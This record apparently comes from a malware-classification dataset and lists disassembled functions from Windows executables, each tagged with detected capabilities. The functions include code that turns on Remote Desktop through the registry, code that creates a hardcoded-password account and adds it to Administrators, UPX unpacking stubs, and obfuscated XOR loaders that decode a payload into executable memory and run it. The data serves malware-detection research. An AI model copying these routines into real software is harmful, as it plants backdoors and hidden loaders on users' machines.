joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401050
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0xc], eax
lea eax, [esp]
mov dword [esp + 8], 4
push eax
push 0x2001f
push 0
push str.SYSTEMCurrentControlSetControlTerminal_Server
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4010bd
mov edx, str.Failed_to_open_registry_key.
push 0x4014d0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.00401290
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor al, al
mov ecx, dword [esp + 0xc]
xor ecx, esp
call fcn.004015b5
mov esp, ebp
pop ebp
ret
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x4031ac
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4010ee
push dword [esp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, str.Failed_to_read_registry_value.
jmp 0x401090
cmp dword [esp + 4], 0
jne 0x4010fc
mov edx, str.Remote_Desktop_is_already_enabled.
jmp 0x40113a
push 4
lea eax, [esp + 8]
mov dword [esp + 8], 0
push eax
push 4
push 0
push str.fDenyTSConnections
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x401135
push dword [esp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, str.Failed_to_set_registry_value.
jmp 0x401090
mov edx, str.Remote_Desktop_has_been_enabled_successfully.
push 0x4014d0
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00401290
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [esp]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0xc]
mov al, 1
xor ecx, esp
call fcn.004015b5
mov esp, ebp
pop ebp
ret
Function at 0x401170
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x430
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0x42c], eax
push 0x100
lea eax, [esp + 0x2c]
push eax
push 0xffffffffffffffff
push str.test1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x100
lea eax, [esp + 0x22c]
push eax
push 0xffffffffffffffff
push str.n5eEUap3whUmCMf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 0
mov dword [esp + 4], eax
lea eax, [esp + 0x228]
mov dword [esp + 8], eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 8]
mov dword [esp + 0x14], 1
push eax
push 1
push 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 1
mov dword [esp + 0x30], 0
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x401259
push str.Add_user_success._n
call fcn.00401010
add esp, 4
lea eax, [esp + 0x28]
mov dword [esp], eax
lea eax, [esp]
push 1
push eax
push 3
push str.Administrators
push 0
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
test eax, eax
jne 0x401252
push str.User_added_to_Administrators_group_successfully._n
jmp 0x40125e
push str.Failed_to_add_user_to_Administrators_group._n
jmp 0x40125e
push str.Add_user_failed._n
call fcn.00401010
mov ecx, dword [esp + 0x430]
add esp, 4
xor ecx, esp
call fcn.004015b5
mov esp, ebp
pop ebp
ret
Function at 0x417b60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc000]
push edi
or ebp, 0xffffffff
jmp 0x417b82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x417b89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x417b78
mov eax, 1
add ebx, ebx
jne 0x417b9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x417b90
jne 0x417bac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417b90
xor ecx, ecx
sub eax, 3
jb 0x417bc0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x417c32
mov ebp, eax
add ebx, ebx
jne 0x417bcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x417bd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x417bfc
inc ecx
add ebx, ebx
jne 0x417be8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x417bdd
jne 0x417bf9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x417bdd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x417c1c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x417c0d
jmp 0x417b7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x417c1c
add edi, ecx
jmp 0x417b7e
pop esi
mov edi, esi
mov ecx, 0xf1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x417c3a
cmp byte [edi], 0xb
jne 0x417c3a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x417c3f
lea edi, [esi + 0x15000]
mov eax, dword [edi]
or eax, eax
je 0x417cb7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x177c4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17844]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x417c6c
mov ecx, edi
jns 0x417c9b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1784c]
or eax, eax
je 0x417cb1
mov dword [ebx], eax
add ebx, 4
jmp 0x417c89
call dword [esi + 0x17848]
mov ebp, dword [esi + 0x17850]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x417ceb
sub esp, 0xffffff80
jmp 0x402b72
Function at 0x40f080
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40b015
lea edi, [esi - 0xa015]
push edi
or ebp, 0xffffffff
jmp 0x40f0a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40f0a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40f098
mov eax, 1
add ebx, ebx
jne 0x40f0bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40f0b0
jne 0x40f0cc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f0b0
xor ecx, ecx
sub eax, 3
jb 0x40f0e0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40f152
mov ebp, eax
add ebx, ebx
jne 0x40f0eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40f0f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40f11c
inc ecx
add ebx, ebx
jne 0x40f108
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40f0fd
jne 0x40f119
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40f0fd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40f13c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40f12d
jmp 0x40f09e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40f13c
add edi, ecx
jmp 0x40f09e
pop esi
mov edi, esi
mov ecx, 0x265
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40f15a
cmp byte [edi], 2
jne 0x40f15a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40f15f
lea edi, [esi + 0xd000]
mov eax, dword [edi]
or eax, eax
je 0x40f1ce
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf064]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40f18c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf068]
or eax, eax
je 0x40f1c8
mov dword [ebx], eax
add ebx, 4
jmp 0x40f1a9
call dword [esi + 0xf06c]
popal
jmp 0x40354a

Function at 0x402aa0
Capabilities:
Accept command line arguments

Disassembly:
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call fcn.004029e0
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
ret 0x10

Function at 0x402d76
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x406018]
jne 0x402d80
repz ret
jmp fcn.004031ad
Function at 0x25814ba5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x25814bb4
pop dword [ebp - 0x10]
mov eax, 0xea394aed
sub eax, 0xc4b7ff39
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x818a8cdf
sub dword [ebp - 0x20], 0x33384794
mov dword [ebp - 0x1c], 0x932f345a
sub dword [ebp - 0x1c], 0x60fbe815
mov dword [ebp - 0x18], 0x37b187fd
sub dword [ebp - 0x18], 0xeb6543cf
mov dword [ebp - 0x14], 0x1d2f0f70
sub dword [ebp - 0x14], 0x1d2f0f70
lea eax, [ebp - 0x20]
push eax
mov eax, 0xb4761214
add eax, 0x710bbe30
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x7de0d7d9
sub dword [ebp - 0x20], 0x96e6e83
mov dword [ebp - 0x1c], 0xc8836953
add dword [ebp - 0x1c], 0x78e8f822
mov dword [ebp - 0x18], 0xc9999dfd
sub dword [ebp - 0x18], 0x662a3191
mov dword [ebp - 0x14], 0xce345779
sub dword [ebp - 0x14], 0xce345779
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3c29f
push 0
call eax
mov ecx, 0x852e2f24
add ecx, 0x7ad21759
mov esi, eax
mov edx, 0x893e38ac
sub edx, 0x63bba2ac
add edx, dword [ebp - 0x10]
mov ebx, 0x21987963
add ebx, 0xe8f69dd3
add dword [ebp - 4], 0xe19d2488
mov edi, dword [edx]
sub dword [ebp - 8], 0xc5915bdc
xor edi, ebx
add dword [ebp - 0xc], edi
mov dword [esi], edi
xor dword [ebp - 8], 0xa9f643a6
add esi, 0x5c8b4b37
sub esi, 0x5c8b4b33
add edx, 0xc72c834e
sub edx, 0xc72c834a
loop 0x25814cd1
add eax, 0x10cc7
xor ebx, ebx
add ebx, eax
add eax, 0x8c619fe3
add eax, 0x739e6022
mov ecx, 0xc52fcadb
sub ecx, 0x9fafcadb
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401320
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x51b]
mov byte [ebp - 0x51c], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x417048]
mov edx, dword [0x41704c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x417044]
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x114], eax
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x108]
mov dword [ebp - 0x10c], edx
mov byte [ebp - 0x218], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x217]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x31b]
mov byte [ebp - 0x31c], al
lea edx, [ebp - 0x14]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x51c]
mov dword [ebp - 0x10], eax
push eax
push 0x1ff
push ecx
push 0x10
push 0x417050
push edx
mov dword [ebp - 0xc], eax
call sub.oracore9.dll_slzgetevar
mov edx, eax
add esp, 0x18
test edx, edx
jle 0x401443
lea edi, [ebp - 0x114]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [ecx + edx + 1]
cmp eax, 0x101
jae 0x401443
mov ecx, dword [ebp - 0x114]
mov ax, word [ebp - 0x110]
mov dword [ebp - 0x218], ecx
mov ecx, edx
mov word [ebp - 0x214], ax
mov eax, ecx
lea esi, [ebp - 0x51c]
lea edi, [ebp - 0x212]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x10e]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
lea edi, [ebp + edx - 0x212]
mov edx, ecx
lea esi, [ebp - 0x10e]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
jmp 0x401467
lea edi, [ebp - 0x114]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x218]
mov dword [0x41a9d4], eax
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov edx, dword [0x41a9d4]
mov esi, eax
lea eax, [ebp - 0x218]
push edx
push eax
lea ecx, [ebp - 0x31c]
push str._s_error:__d._n
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov eax, dword [ebp + 8]
add esp, 0x10
lea edx, [ebp - 0x31c]
mov dword [ebp - 4], eax
test esi, esi
mov dword [ebp - 8], edx
je 0x4014de
lea ecx, [ebp - 8]
push 0
push ecx
push 0
push 2
push 0
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov edx, dword [0x41a9d0]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4056c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [edx + 0xc]
and word [eax + 6], 0xffea
mov cx, word [eax + 6]
push edi
mov edi, dword [edx + 0x48]
test byte [edi + 8], 1
je 0x4056ea
or ecx, 2
jmp 0x4056f0
and ecx, 0xfffd
mov word [eax + 6], cx
mov ecx, dword [edx + 0x14]
mov ecx, dword [ecx + 4]
mov edi, dword [ecx + 0x53c]
inc edi
mov dword [ecx + 0x53c], edi
xor ecx, ecx
mov cl, byte [eax + 3]
mov eax, ecx
cmp eax, 0xc
jg 0x405735
mov edx, dword [edx + 0x14]
lea ecx, [eax*8]
sub ecx, eax
mov edx, dword [edx + 4]
lea eax, [edx + ecx*4 + 0x558]
mov ecx, dword [edx + ecx*4 + 0x558]
inc ecx
mov dword [eax], ecx
jmp 0x405741
mov eax, dword [edx + 0x14]
mov eax, dword [eax + 4]
inc dword [eax + 0x6a8]
mov ecx, dword [esi + 0x34]
lea edx, [ebp - 0x4c]
push 0
push edx
mov dword [ebp - 4], ecx
call sub.MSVCRT.dll__setjmp3
add esp, 8
test eax, eax
jne 0x40579c
mov esi, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push edx
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp + 0x10]
push eax
push edi
mov dword [esi + 8], ecx
call sub.oran9.dll_nngtpma_put_msg_asn
mov ecx, dword [edi + 0x14]
add esp, 0xc
mov eax, dword [ecx + 4]
mov ecx, dword [eax + 0x520]
inc ecx
mov dword [eax + 0x520], ecx
mov edx, dword [ebp - 0x50]
mov dword [esi + 8], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esi, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x18]
mov edx, dword [eax + 0x10]
mov edi, dword [eax + 0x14]
mov dword [eax + 0x10], ecx
mov ecx, dword [eax + 0x1c]
mov dword [eax + 0x14], ecx
mov ecx, dword [esi + 0x14]
mov ecx, dword [ecx + 4]
mov ebx, dword [ecx + 0x84c]
inc ebx
mov dword [ecx + 0x84c], ebx
mov dword [eax + 0x10], edx
mov dword [eax + 0x14], edi
call sub.oran9.dll_nngmlog
mov edx, dword [ebp + 0x10]
push 2
push edx
push esi
call sub.oran9.dll_nngscls_close_stream
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414a74
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415440
push 0x414c50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x41acf4], 0xffffffff
or dword [0x41acf8], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x41ab00]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x41aafc]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x41acfc], eax
call fcn.00414bf3
cmp dword [0x41a9cc], 0
jne 0x414af7
push 0x414bf0
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00414bd8
push 0x41700c
push 0x417008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x41aaf8]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x41aaf4]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x417004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00401000
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x5c45029
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..text_1
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x7c181840
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x445050
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x22000]
push edi
or ebp, 0xffffffff
jmp 0x445072
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x445079
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x445068
mov eax, 1
add ebx, ebx
jne 0x44508b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x445080
jne 0x44509c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x445080
xor ecx, ecx
sub eax, 3
jb 0x4450b0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x445122
mov ebp, eax
add ebx, ebx
jne 0x4450bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4450c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4450ec
inc ecx
add ebx, ebx
jne 0x4450d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4450cd
jne 0x4450e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4450cd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x44510c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4450fd
jmp 0x44506e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x44510c
add edi, ecx
jmp 0x44506e
pop esi
mov edi, esi
mov ecx, 0x466
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x44512a
cmp byte [edi], 0xa
jne 0x44512a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x44512f
lea edi, [esi + 0x43000]
mov eax, dword [edi]
or eax, eax
je 0x44519e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x45728]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x457a0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x44515c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x457a4]
or eax, eax
je 0x445198
mov dword [ebx], eax
add ebx, 4
jmp 0x445179
call dword [esi + 0x457a8]
popal
jmp 0x406fb7
Function at 0x10009fa9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x10009fb8
pop dword [ebp - 8]
mov eax, 0xcede00a2
sub eax, 0xbedd60ea
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x7b50b990
sub dword [ebp - 0x18], 0x2cfe7445
mov dword [ebp - 0x14], 0xcb312b15
sub dword [ebp - 0x14], 0x98fdded0
mov dword [ebp - 0x10], 0xa967f15c
add dword [ebp - 0x10], 0xa2e452d2
mov dword [ebp - 0xc], 0xa4e87c94
add dword [ebp - 0xc], 0x5b17836c
lea eax, [ebp - 0x18]
push eax
mov eax, 0xf5d0f80b
sub eax, 0xe5cf178b
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xb2b48912
add dword [ebp - 0x18], 0xc1bde044
mov dword [ebp - 0x14], 0xe92c2c
sub dword [ebp - 0x14], 0xbf7ccab7
mov dword [ebp - 0x10], 0xda7955fd
sub dword [ebp - 0x10], 0x7709e991
mov dword [ebp - 0xc], 0x89cf61db
sub dword [ebp - 0xc], 0x89cf61db
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x431d0acb
sub eax, 0x331b2a47
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x38cd9
push 0
call eax
mov ecx, 0x194cb37b
add ecx, 0xe6b3827c
xor esi, esi
add esi, eax
mov edx, 0xdbcd9fab
add edx, 0x3435b855
add edx, dword [ebp - 8]
mov edi, 0xf75b6229
add edi, 0x98acd9d9
add dword [ebp - 4], edx
mov ebx, dword [edx]
sub dword [ebp - 4], edi
sub ebx, edi
xor dword [ebp - 4], 0xb6c14308
mov dword [esi], ebx
xor dword [ebp - 4], edx
add esi, 4
add edx, 4
loop 0x1000a0dc
add eax, 0xcaaf
mov ebx, eax
add eax, 0x585f7c8e
sub eax, 0x585f7c89
mov ecx, 0x10000000
add ecx, dword [ebp - 8]
call ebx
leave
ret